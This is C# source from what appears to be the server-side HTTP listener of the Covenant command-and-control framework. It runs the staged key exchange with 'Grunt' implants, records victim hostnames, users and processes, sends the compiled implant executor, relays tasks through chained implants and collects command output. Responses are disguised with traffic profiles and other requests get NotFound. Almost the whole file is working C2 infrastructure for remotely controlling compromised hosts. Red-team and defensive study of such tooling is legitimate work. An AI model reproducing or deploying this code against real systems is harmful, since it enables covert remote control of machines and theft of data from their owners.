// Convenience method for decrypting an EncryptedMessagePacket
 public static byte[] AesDecrypt(ModelUtilities.GruntEncryptedMessage encryptedMessage, byte[] key)
 {
     return(AesDecrypt(
                Convert.FromBase64String(encryptedMessage.IV).Concat(Convert.FromBase64String(encryptedMessage.EncryptedMessage)).ToArray(),
                key
                ));
 }
        private ModelUtilities.GruntEncryptedMessage CreateMessageForGrunt(Grunt grunt, Grunt targetGrunt, byte[] message)
        {
            List <string> path = _client.ApiGruntsByIdPathByCidGet(grunt.Id ?? default, targetGrunt.Id ?? default).ToList();

            path.Reverse();
            ModelUtilities.GruntEncryptedMessage     finalMessage = null;
            ModelUtilities.GruntEncryptedMessageType messageType  = ModelUtilities.GruntEncryptedMessageType.Tasking;
            foreach (string guid in path)
            {
                Grunt thisGrunt = _client.ApiGruntsGuidByGuidGet(guid);
                finalMessage = ModelUtilities.GruntEncryptedMessage.Create(
                    thisGrunt,
                    message,
                    messageType
                    );
                message     = Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(finalMessage));
                messageType = ModelUtilities.GruntEncryptedMessageType.Routing;
            }
            return(finalMessage);
        }
        private async Task <ActionResult> RegisterGrunt(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntMessage)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            string message = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, gruntMessage));
            // todo: try/catch on deserialize?
            Grunt grunt = JsonConvert.DeserializeObject <Grunt>(message);

            targetGrunt.IpAddress       = grunt.IpAddress;
            targetGrunt.Hostname        = grunt.Hostname;
            targetGrunt.OperatingSystem = grunt.OperatingSystem;
            targetGrunt.UserDomainName  = grunt.UserDomainName;
            targetGrunt.UserName        = grunt.UserName;
            targetGrunt.Status          = GruntStatus.Active;
            targetGrunt.Integrity       = grunt.Integrity;
            targetGrunt.Process         = grunt.Process;
            targetGrunt.LastCheckIn     = DateTime.UtcNow;

            await _client.ApiGruntsPutAsync(targetGrunt);

            GruntTaskingMessage tasking = new GruntTaskingMessage
            {
                Message = targetGrunt.Guid,
                Name    = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10),
                Type    = GruntTaskingType.Jobs,
                Token   = false
            };

            ModelUtilities.GruntEncryptedMessage responseMessage;
            try
            {
                responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking);
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));
            // Format transformed response
            string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed);

            return(Ok(response));
        }
        public async Task <ActionResult> PostStage2(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage2Response)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            byte[] challenge2test = _utilities.GruntSessionDecrypt(targetGrunt, gruntStage2Response);
            if (targetGrunt.GruntChallenge != Convert.ToBase64String(challenge2test))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            targetGrunt.Status      = GruntStatus.Stage2;
            targetGrunt.LastCheckIn = DateTime.UtcNow;
            await _client.ApiGruntsPutAsync(targetGrunt);

            string GruntExecutorAssembly = this._utilities.ListenerCompileGruntExecutorCode(_context.HttpListener.First(), targetGrunt, _context.HttpProfile.First());

            ModelUtilities.GruntEncryptedMessage message;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly));
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed);

            // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)"
            return(Ok(response));
        }
        private async Task <ActionResult> PostStage1(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage1Response)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            byte[] challenge1 = _utilities.GruntSessionDecrypt(targetGrunt, gruntStage1Response);
            byte[] challenge2 = new byte[4];
            using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
            {
                rng.GetBytes(challenge2);
            }
            // Save challenge to compare on response
            targetGrunt.GruntChallenge = Convert.ToBase64String(challenge2);
            targetGrunt.Status         = GruntStatus.Stage1;
            targetGrunt.LastCheckIn    = DateTime.UtcNow;
            await _client.ApiGruntsPutAsync(targetGrunt);

            ModelUtilities.GruntEncryptedMessage message;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray());
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed);

            // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)"
            return(Ok(response));
        }
        private async Task <ActionResult> PostStage0(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage0Response)
        {
            if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            bool egressGruntExists = egressGrunt != null;

            string guid = gruntStage0Response.GUID.Substring(10);

            if (targetGrunt.Status != GruntStatus.Uninitialized)
            {
                // We create a new Grunt if this one is not uninitialized
                Grunt tempModel = new Grunt
                {
                    Id   = 0,
                    Name = Utilities.CreateShortGuid(),
                    Guid = guid,
                    OriginalServerGuid        = Utilities.CreateShortGuid(),
                    Status                    = GruntStatus.Stage0,
                    ListenerId                = targetGrunt.ListenerId,
                    Listener                  = targetGrunt.Listener,
                    GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword,
                    CommType                  = targetGrunt.CommType,
                    SmbPipeName               = targetGrunt.SmbPipeName,
                    Delay                  = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate,
                    ConnectAttempts        = targetGrunt.ConnectAttempts,
                    DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion,
                    LastCheckIn            = DateTime.UtcNow
                };
                targetGrunt = await _client.ApiGruntsPostAsync(tempModel);
            }
            else
            {
                targetGrunt.Status      = GruntStatus.Stage0;
                targetGrunt.Guid        = guid;
                targetGrunt.LastCheckIn = DateTime.UtcNow;
                targetGrunt             = await _client.ApiGruntsPutAsync(targetGrunt);
            }
            if (!egressGruntExists)
            {
                egressGrunt = targetGrunt;
            }

            // EncryptedMessage is the RSA Public Key
            targetGrunt.GruntRSAPublicKey = Convert.ToBase64String(EncryptUtilities.AesDecrypt(
                                                                       gruntStage0Response,
                                                                       Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)
                                                                       ));
            // Generate negotiated session key
            Aes newAesKey = Aes.Create();

            newAesKey.GenerateKey();
            targetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
            await _client.ApiGruntsPutAsync(targetGrunt);

            if (egressGruntExists)
            {
                // Add this as Child grunt to Grunt that connects it
                List <GruntTasking> taskings = _client.ApiTaskingsGet().ToList();
                // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort?
                GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault();
                if (connectTasking == null)
                {
                    return(NotFound());
                }
                GruntTaskingMessage tmessage = this.GetGruntTaskingMessage(connectTasking, targetGrunt.DotNetFrameworkVersion);
                targetGrunt.Hostname = tmessage.Message.Split(",")[0];
                await _client.ApiGruntsPutAsync(targetGrunt);

                connectTasking.Status = GruntTaskingStatus.Completed;
                await _client.ApiTaskingsPutAsync(connectTasking);
            }

            byte[] rsaEncryptedBytes = EncryptUtilities.GruntRSAEncrypt(targetGrunt, Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey));
            ModelUtilities.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, rsaEncryptedBytes);
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
            // Transform response
            string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed);

            // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
            return(Ok(response));
        }
        // post task
        private async Task <ActionResult> PostTask(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage outputMessage, string guid)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active || egressGrunt == null || egressGrunt.Guid != guid)
            {
                // Invalid GUID. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            string TaskName = outputMessage.Meta;

            if (string.IsNullOrWhiteSpace(TaskName))
            {
                // Invalid task response. This happens on post-register write
                return(NotFound());
            }
            GruntTasking gruntTasking;

            try
            {
                gruntTasking = await _client.ApiGruntsTaskingsByTaskingnameGetAsync(TaskName);
            }
            catch (HttpOperationException)
            {
                // Invalid taskname. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }

            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active)
            {
                // Invalid Grunt. May not be legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            if (!outputMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Invalid signature. Almost certainly not a legitimate Grunt request, respond NotFound
                return(NotFound());
            }
            string taskOutput = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, outputMessage));

            gruntTasking.GruntCommand.CommandOutput = new CommandOutput
            {
                Id             = 0,
                GruntCommandId = gruntTasking.GruntCommandId,
                Output         = taskOutput
            };
            gruntTasking.GruntCommand.CommandOutputId = 0;
            gruntTasking.Status         = GruntTaskingStatus.Completed;
            gruntTasking.CompletionTime = DateTime.UtcNow;
            gruntTasking.GruntCommand   = await _client.ApiCommandsPutAsync(gruntTasking.GruntCommand);

            await _client.ApiTaskingsPutAsync(gruntTasking);

            targetGrunt.LastCheckIn = DateTime.UtcNow;
            await _client.ApiGruntsPutAsync(targetGrunt);

            return(Ok());
        }
        public async Task <ActionResult <string> > Post()
        {
            try
            {
                this.SetHeaders();
                using (StreamReader reader = new StreamReader(Request.Body, System.Text.Encoding.UTF8))
                {
                    ModelUtilities.GruntEncryptedMessage message = null;
                    try
                    {
                        string body             = reader.ReadToEnd();
                        string ExtractedMessage = body.ParseExact(_context.HttpProfile.First().HttpPostRequest).FirstOrDefault();
                        string inverted         = Common.CovenantEncoding.GetString(this._utilities.ProfileInvert(_context.HttpProfile.First(), ExtractedMessage));
                        message = JsonConvert.DeserializeObject <ModelUtilities.GruntEncryptedMessage>(inverted);
                    }
                    catch (Exception)
                    {
                        // Request not formatted correctly. May not be legitimate Grunt request, respond NotFound
                        return(NotFound());
                    }

                    string guid        = this.GetGuid();
                    Grunt  egressGrunt = null;
                    Grunt  targetGrunt = null;
                    try
                    {
                        egressGrunt = guid == null ? null : await _client.ApiGruntsGuidByGuidGetAsync(guid);
                    }
                    catch (HttpOperationException)
                    {
                        egressGrunt = null;
                    }
                    try
                    {
                        targetGrunt = await _client.ApiGruntsGuidByGuidGetAsync(message.GUID);
                    }
                    catch (HttpOperationException)
                    {
                        targetGrunt = null;
                        // Stage0 Guid is OriginalServerGuid + Guid
                        if (message.GUID.Length == 20)
                        {
                            Grunt originalGeneratedGrunt = await _client.ApiGruntsOriginalguidByServerguidGetAsync(message.GUID.Substring(0, 10));

                            return(await this.PostStage0(egressGrunt, originalGeneratedGrunt, message));
                        }
                        return(NotFound());
                    }

                    switch (targetGrunt.Status)
                    {
                    case GruntStatus.Uninitialized:
                        return(await this.PostStage0(egressGrunt, targetGrunt, message));

                    case GruntStatus.Stage0:
                        return(await this.PostStage1(egressGrunt, targetGrunt, message));

                    case GruntStatus.Stage1:
                        return(await this.PostStage2(egressGrunt, targetGrunt, message));

                    case GruntStatus.Stage2:
                        return(await this.RegisterGrunt(egressGrunt, targetGrunt, message));

                    case GruntStatus.Active:
                        return(await this.PostTask(egressGrunt, targetGrunt, message, guid));

                    default:
                        return(NotFound());
                    }
                }
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
        }
        public async Task <ActionResult <string> > Get()
        {
            try
            {
                this.SetHeaders();
                string guid = this.GetGuid();
                if (string.IsNullOrEmpty(guid))
                {
                    // Invalid GUID. May not be legitimate Grunt request, respond Ok
                    return(Ok());
                }
                Grunt grunt = null;
                try
                {
                    grunt = await _client.ApiGruntsGuidByGuidGetAsync(guid);
                }
                catch (HttpOperationException) { grunt = null; }
                if (grunt == null || grunt.Status != GruntStatus.Active)
                {
                    // Invalid GUID. May not be legitimate Grunt request, respond Ok
                    return(Ok());
                }
                grunt.LastCheckIn = DateTime.UtcNow;
                await _client.ApiGruntsPutAsync(grunt);

                GruntTasking gruntTasking = (await _client.ApiGruntsByIdTaskingsSearchUninitializedGetAsync(grunt.Id ?? default)).FirstOrDefault();
                if (gruntTasking == null)
                {
                    // No GruntTasking assigned. Respond with empty template
                    return(Ok(this.GetGetEmptyResponse()));
                }

                if (gruntTasking.Type == GruntTaskingType.Assembly && gruntTasking.GruntTask == null)
                {
                    // Can't find corresponding task. Should never reach this point. Will just respond NotFound.
                    return(NotFound());
                }

                gruntTasking.Status      = GruntTaskingStatus.Tasked;
                gruntTasking.TaskingTime = DateTime.UtcNow;
                gruntTasking             = await _client.ApiTaskingsPutAsync(gruntTasking);

                gruntTasking.Grunt = gruntTasking.GruntId == grunt.Id ? grunt : await _client.ApiGruntsByIdGetAsync(gruntTasking.GruntId);

                ModelUtilities.GruntEncryptedMessage message = null;
                try
                {
                    message = this.CreateMessageForGrunt(grunt, gruntTasking.Grunt, this.GetGruntTaskingMessage(gruntTasking, gruntTasking.Grunt.DotNetFrameworkVersion));
                }
                catch (HttpOperationException)
                {
                    gruntTasking.Status = GruntTaskingStatus.Aborted;
                    await _client.ApiTaskingsPutAsync(gruntTasking);

                    return(NotFound());
                }
                // Transform response
                string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
                // Format transformed response
                string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed);
                return(Ok(response));
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
            catch (Exception)
            {
                return(NotFound());
            }
        }